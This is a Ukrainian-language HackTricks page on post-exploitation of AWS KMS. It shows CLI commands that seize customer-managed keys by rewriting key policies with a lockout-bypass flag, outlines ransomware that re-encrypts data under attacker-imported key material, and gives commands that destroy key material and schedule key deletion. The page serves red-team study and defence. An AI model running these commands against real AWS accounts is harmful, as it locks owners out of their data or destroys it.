AWS - KMS Post Exploitation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

KMS

Для отримання додаткової інформації перегляньте:

pageAWS - KMS Enum

Шифрування/Дешифрування інформації

  • Використання симетричного ключа

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Використання асиметричного ключа:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Викрадення даних

Атакуючий з привілейованим доступом до KMS може змінити політику ключів KMS та надати своєму обліковому запису доступ до них, видаливши доступ, наданий легітному обліковому запису.

Після цього користувачі легітного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний вірус-вимагач над обліковим записом.

Зверніть увагу, що управляні ключі AWS не постраждають від цього нападу, тільки Ключі, управляні клієнтом.

Також зверніть увагу на необхідність використання параметру --bypass-policy-lockout-safety-check (відсутність цієї опції у веб-консолі робить цей напад можливим лише з CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Зверніть увагу, що якщо ви зміните цю політику і надасте доступ лише зовнішньому обліковому запису, а потім з цього зовнішнього облікового запису спробуєте встановити нову політику, щоб повернути доступ до початкового облікового запису, ви не зможете цього зробити.

Загальний KMS-вірус-вимагач

Глобальний KMS-вірус-вимагач

Є ще один спосіб виконати глобальний KMS-вірус-вимагач, який включає наступні кроки:

  • Створіть новий ключ з матеріалом ключа, імпортованим зловмисником

  • Перекодуйте старі дані, зашифровані попередньою версією, новими

  • Видаліть ключ KMS

  • Тепер тільки зловмисник, який має початковий матеріал ключа, зможе розшифрувати зашифровані дані

Знищення ключів

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Зверніть увагу, що AWS зараз запобігає виконанню попередніх дій з іншого облікового запису:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated